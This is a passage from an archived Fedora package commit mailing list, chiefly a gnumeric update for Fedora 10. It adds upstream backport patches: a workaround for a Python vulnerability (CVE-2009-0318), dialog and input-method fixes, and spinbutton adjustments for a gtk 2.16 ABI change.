+- Update to 1.0.8
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	24 Apr 2009 14:40:00 -0000	1.8
+++ sources	20 Oct 2009 22:45:18 -0000	1.9
@@ -1 +1 @@
-9a1132c54a58a6a040514f754b53ee44  schroedinger-1.0.7.tar.gz
+a76a7094f80419f81377b63432c64d01  schroedinger-1.0.8.tar.gz



From robert at fedoraproject.org  Tue Oct 20 22:58:26 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 20 Oct 2009 22:58:26 +0000 (UTC)
Subject: rpms/gnumeric/F-10 gnumeric-1.8.4-backport-20090129.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090309.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090314.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090430.patch, NONE,
	1.1 gnumeric-1.8.4-desktop.patch, NONE, 1.1 .cvsignore, 1.7,
	1.8 gnumeric.spec, 1.44, 1.45 sources, 1.7,
	1.8 gnumeric-1.6.1-desktop.patch, 1.4,
	NONE gnumeric-1.8.2-desktop.patch, 1.2, NONE
Message-ID: <20091020225826.BBF1D11C0081@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/gnumeric/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24588

Modified Files:
	.cvsignore gnumeric.spec sources 
Added Files:
	gnumeric-1.8.4-backport-20090129.patch 
	gnumeric-1.8.4-backport-20090309.patch 
	gnumeric-1.8.4-backport-20090314.patch 
	gnumeric-1.8.4-backport-20090430.patch 
	gnumeric-1.8.4-desktop.patch 
Removed Files:
	gnumeric-1.6.1-desktop.patch gnumeric-1.8.2-desktop.patch 
Log Message:
Backport latest gnumeric with its fixes for Fedora 10, too


gnumeric-1.8.4-backport-20090129.patch:
 NEWS                                       |    6 ++++++
 plugins/python-loader/ChangeLog            |    6 ++++++
 plugins/python-loader/gnm-py-interpreter.c |    3 +--
 3 files changed, 13 insertions(+), 2 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090129.patch ---
>From 8287b580c6e9d99cb095e4084d485f513180dca8 Mon Sep 17 00:00:00 2001
From: J.H.M. Dassen (Ray) <jdassen at src.gnome.org>
Date: Thu, 29 Jan 2009 14:33:02 +0000
Subject: Backport of fix for CVE-2009-0318 [#569648]

svn path=/branches/gnumeric-1-8/; revision=17111
---
diff --git a/NEWS b/NEWS
index cc2354f..a9ba585 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+Gnumeric 1.8.5
+
+Jon K?re:
+        * Work around vulnerability in Python. CVE-2009-0318 [#569648]
+
+--------------------------------------------------------------------------
 Gnumeric 1.8.4
 
 Henry Law:
diff --git a/plugins/python-loader/ChangeLog b/plugins/python-loader/ChangeLog
index 8609fee..5978766 100644
--- a/plugins/python-loader/ChangeLog
+++ b/plugins/python-loader/ChangeLog
@@ -1,3 +1,9 @@
+2009-01-29  Jon K Hellan  <hellan at acm.org>
+
+	* gnm-py-interpreter.c (gnm_py_interpreter_new): Work around
+	security vulnerability in Python by making argv start with
+	"/dev/null". #569648.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/plugins/python-loader/gnm-py-interpreter.c b/plugins/python-loader/gnm-py-interpreter.c
index 4664f2e..a33f38a 100644
--- a/plugins/python-loader/gnm-py-interpreter.c
+++ b/plugins/python-loader/gnm-py-interpreter.c
@@ -79,7 +79,7 @@ gnm_py_interpreter_class_init (GObjectClass *gobject_class)
 		G_TYPE_NONE, 0);
 }
 
-static char *plugin_argv[] = {(char *) "gnumeric", NULL};
+static char *plugin_argv[] = {(char *) "/dev/null/python/is/buggy/gnumeric", NULL};
 
 GnmPyInterpreter *
 gnm_py_interpreter_new (GOPlugin *plugin)
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090309.patch:
 NEWS                           |    4 ++++
 src/dialogs/hf-config.glade    |    2 +-
 src/dialogs/hf-dt-format.glade |    2 +-
 src/dialogs/preferences.glade  |    3 +--
 4 files changed, 7 insertions(+), 4 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090309.patch ---
>From 186423184f2ed8825f00fff8f12669ed99c8de2c Mon Sep 17 00:00:00 2001
From: Morten Welinder <mortenw at src.gnome.org>
Date: Mon, 09 Mar 2009 13:54:19 +0000
Subject: Backport.

Morten:
	* Fix problem with dialogs not showing up in fullscreen mode.
	[#574602]


svn path=/branches/gnumeric-1-8/; revision=17181
---
diff --git a/NEWS b/NEWS
index a9ba585..3603561 100644
--- a/NEWS
+++ b/NEWS
@@ -3,6 +3,10 @@ Gnumeric 1.8.5
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
+Morten:
+	* Fix problem with dialogs not showing up in fullscreen mode.
+	[#574602]
+
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
 
diff --git a/src/dialogs/hf-config.glade b/src/dialogs/hf-config.glade
index 1346ce4..e082ed8 100644
--- a/src/dialogs/hf-config.glade
+++ b/src/dialogs/hf-config.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-config">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/hf-dt-format.glade b/src/dialogs/hf-dt-format.glade
index ee0e1e8..f2c3f39 100644
--- a/src/dialogs/hf-dt-format.glade
+++ b/src/dialogs/hf-dt-format.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-dt-format">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/preferences.glade b/src/dialogs/preferences.glade
index 01cbfef..163d714 100644
--- a/src/dialogs/preferences.glade
+++ b/src/dialogs/preferences.glade
@@ -7,7 +7,7 @@
     <property name="title" translatable="yes">Gnumeric Preferences</property>
     <property name="default_width">350</property>
     <property name="default_height">300</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <property name="has_separator">False</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090314.patch:
 ChangeLog             |   11 +++++++++++
 b/ChangeLog           |    4 ++++
 b/NEWS                |    3 +++
 b/src/application.c   |    6 +++++-
 b/src/application.h   |    4 +++-
 b/src/gnm-pane-impl.h |    7 +++----
 b/src/gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 b/src/gnm-plugin.c    |    6 ++++--
 b/src/wbc-gtk.c       |    3 +--
 9 files changed, 62 insertions(+), 22 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090314.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

2009-03-13  Jody Goldberg <jody at gnome.org>

	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
	(gnm_pane_unrealize) : set the flag.

	* src/application.c (gnm_app_add_extra_ui) : take a group name.
	(gnm_app_remove_extra_ui) : patch minor leak.
	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
	  group name rather than a static name that is shared between all
	  custom ui.



svn path=/branches/gnumeric-1-8/; revision=17077
---
diff --git a/ChangeLog b/ChangeLog
index 62ecf6f..6ac6e49 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 1.8.4
 
 2009-01-11  J.H.M. Dassen (Ray) <jdassen at debian.org>
diff --git a/ChangeLog b/ChangeLog
index 6ac6e49..17b282a 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,14 @@
+2009-03-13  Jody Goldberg <jody at gnome.org>
+
+	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
+	(gnm_pane_unrealize) : set the flag.
+
+	* src/application.c (gnm_app_add_extra_ui) : take a group name.
+	(gnm_app_remove_extra_ui) : patch minor leak.
+	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
+	  group name rather than a static name that is shared between all
+	  custom ui.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 3603561..4391951 100644
--- a/NEWS
+++ b/NEWS
@@ -1,5 +1,8 @@
 Gnumeric 1.8.5
 
+Jody:
+	* Work around semantic changes in gtk-2.16.
+
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090430.patch:
 NEWS                                |    1 +
 src/dialogs/ChangeLog               |    4 ++++
 src/dialogs/anova-one.glade         |    3 +--
 src/dialogs/anova-two.glade         |    3 +--
 src/dialogs/cell-format.glade       |    3 +--
 src/dialogs/col-width.glade         |    3 +--
 src/dialogs/descriptive-stats.glade |    3 +--
 src/dialogs/dialog-stf.glade        |    6 ++----
 src/dialogs/dialog-zoom.glade       |    3 +--
 src/dialogs/print.glade             |    9 +++------
 src/dialogs/row-height.glade        |    3 +--
 src/dialogs/simulation.glade        |   12 ++++--------
 src/dialogs/so-scrollbar.glade      |   12 ++++--------
 src/dialogs/solver.glade            |    7 ++-----
 14 files changed, 27 insertions(+), 45 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090430.patch ---
>From 75fe906cb0afce76a47338415773a6d4c5f07c5c Mon Sep 17 00:00:00 2001
From: Morten Welinder <terra at gnome.org>
Date: Thu, 30 Apr 2009 23:04:49 +0000
Subject: Work around gtk+ 2.16 ABI break re spinbuttons.

---
diff --git a/NEWS b/NEWS
index 4391951..d1808a8 100644
--- a/NEWS
+++ b/NEWS
@@ -9,6 +9,7 @@ Jon K?re:
 Morten:
 	* Fix problem with dialogs not showing up in fullscreen mode.
 	[#574602]
+	* Work around ABI changes in in gtk-2.16.  [#580930]
 
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
diff --git a/src/dialogs/ChangeLog b/src/dialogs/ChangeLog
index 5f63b08..8fcc3f4 100644
--- a/src/dialogs/ChangeLog
+++ b/src/dialogs/ChangeLog
@@ -1,3 +1,7 @@
+2009-04-40  Morten Welinder <terra at gnome.org>
+
+	* *.glade: Work around ABI break for spinbuttons.  #580930.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/src/dialogs/anova-one.glade b/src/dialogs/anova-one.glade
index cf95a5b..a822db5 100644
--- a/src/dialogs/anova-one.glade
+++ b/src/dialogs/anova-one.glade
@@ -318,8 +318,7 @@
 		      <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/anova-two.glade b/src/dialogs/anova-two.glade
index 3b101fb..c25e425 100644
--- a/src/dialogs/anova-two.glade
+++ b/src/dialogs/anova-two.glade
@@ -263,8 +263,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 0.05 0.05</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 0.05 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/cell-format.glade b/src/dialogs/cell-format.glade
index be30f4f..968754d 100644
--- a/src/dialogs/cell-format.glade
+++ b/src/dialogs/cell-format.glade
@@ -356,8 +356,7 @@
 				  <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 				  <property name="snap_to_ticks">False</property>
 				  <property name="wrap">False</property>
-				  <property name="adjustment">0 0 20 1 10 10</property>
-				</widget>
+				  <property name="adjustment">0 0 20 1 10 0</property>				</widget>
 				<packing>
 				  <property name="left_attach">1</property>
 				  <property name="right_attach">2</property>
diff --git a/src/dialogs/col-width.glade b/src/dialogs/col-width.glade
index 907a629..f87b21a 100644
--- a/src/dialogs/col-width.glade
+++ b/src/dialogs/col-width.glade
@@ -148,8 +148,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/descriptive-stats.glade b/src/dialogs/descriptive-stats.glade
index 9653553..35bde2c 100644
--- a/src/dialogs/descriptive-stats.glade
+++ b/src/dialogs/descriptive-stats.glade
@@ -474,8 +474,7 @@
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		</widget>
+		  <property name="adjustment">0.05 0 1 0.01 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">2</property>
 		  <property name="right_attach">3</property>
diff --git a/src/dialogs/dialog-stf.glade b/src/dialogs/dialog-stf.glade
index 0673cdd..77c7acd 100644
--- a/src/dialogs/dialog-stf.glade
+++ b/src/dialogs/dialog-stf.glade
@@ -515,8 +515,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
@@ -557,8 +556,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
diff --git a/src/dialogs/dialog-zoom.glade b/src/dialogs/dialog-zoom.glade
index 30e65cc..3cd716a 100644
--- a/src/dialogs/dialog-zoom.glade
+++ b/src/dialogs/dialog-zoom.glade
@@ -254,8 +254,7 @@
 			      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			      <property name="snap_to_ticks">False</property>
 			      <property name="wrap">False</property>
-			      <property name="adjustment">100 10 500 5 25 25</property>
-			    </widget>
+			      <property name="adjustment">100 10 500 5 25 0</property>			    </widget>
 			    <packing>
 			      <property name="padding">0</property>
 			      <property name="expand">False</property>
diff --git a/src/dialogs/print.glade b/src/dialogs/print.glade
index 196ffd0..f2a1662 100644
--- a/src/dialogs/print.glade
+++ b/src/dialogs/print.glade
@@ -698,8 +698,7 @@
                                       <widget class="GtkSpinButton" id="scale-h-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -747,8 +746,7 @@
                                       <widget class="GtkSpinButton" id="scale-v-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -792,8 +790,7 @@
                                       <widget class="GtkSpinButton" id="scale-percent-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">10 10 1000 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">10 10 1000 1 10 0</property>                                        <property name="climb_rate">1</property>
                                         <property name="digits">1</property>
                                         <property name="numeric">True</property>
                                       </widget>
diff --git a/src/dialogs/row-height.glade b/src/dialogs/row-height.glade
index 71e62b0..3004d87 100644
--- a/src/dialogs/row-height.glade
+++ b/src/dialogs/row-height.glade
@@ -149,8 +149,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/simulation.glade b/src/dialogs/simulation.glade
index d084dfc..356c90b 100644
--- a/src/dialogs/simulation.glade
+++ b/src/dialogs/simulation.glade
@@ -345,8 +345,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">10 1 36000 10 10 10</property>
-		    </widget>
+		      <property name="adjustment">10 1 36000 10 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -366,8 +365,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1000 1 1e+10 1000 10 10</property>
-		    </widget>
+		      <property name="adjustment">1000 1 1e+10 1000 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -387,8 +385,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -408,8 +405,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
diff --git a/src/dialogs/so-scrollbar.glade b/src/dialogs/so-scrollbar.glade
index f4d7de2..8890bbb 100644
--- a/src/dialogs/so-scrollbar.glade
+++ b/src/dialogs/so-scrollbar.glade
@@ -194,8 +194,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_min" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -218,8 +217,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_max" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -242,8 +240,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_increment" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -266,8 +263,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_page" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
diff --git a/src/dialogs/solver.glade b/src/dialogs/solver.glade
index 66eab7c..b58fdf3 100644
--- a/src/dialogs/solver.glade
+++ b/src/dialogs/solver.glade
@@ -668,8 +668,7 @@ Bool
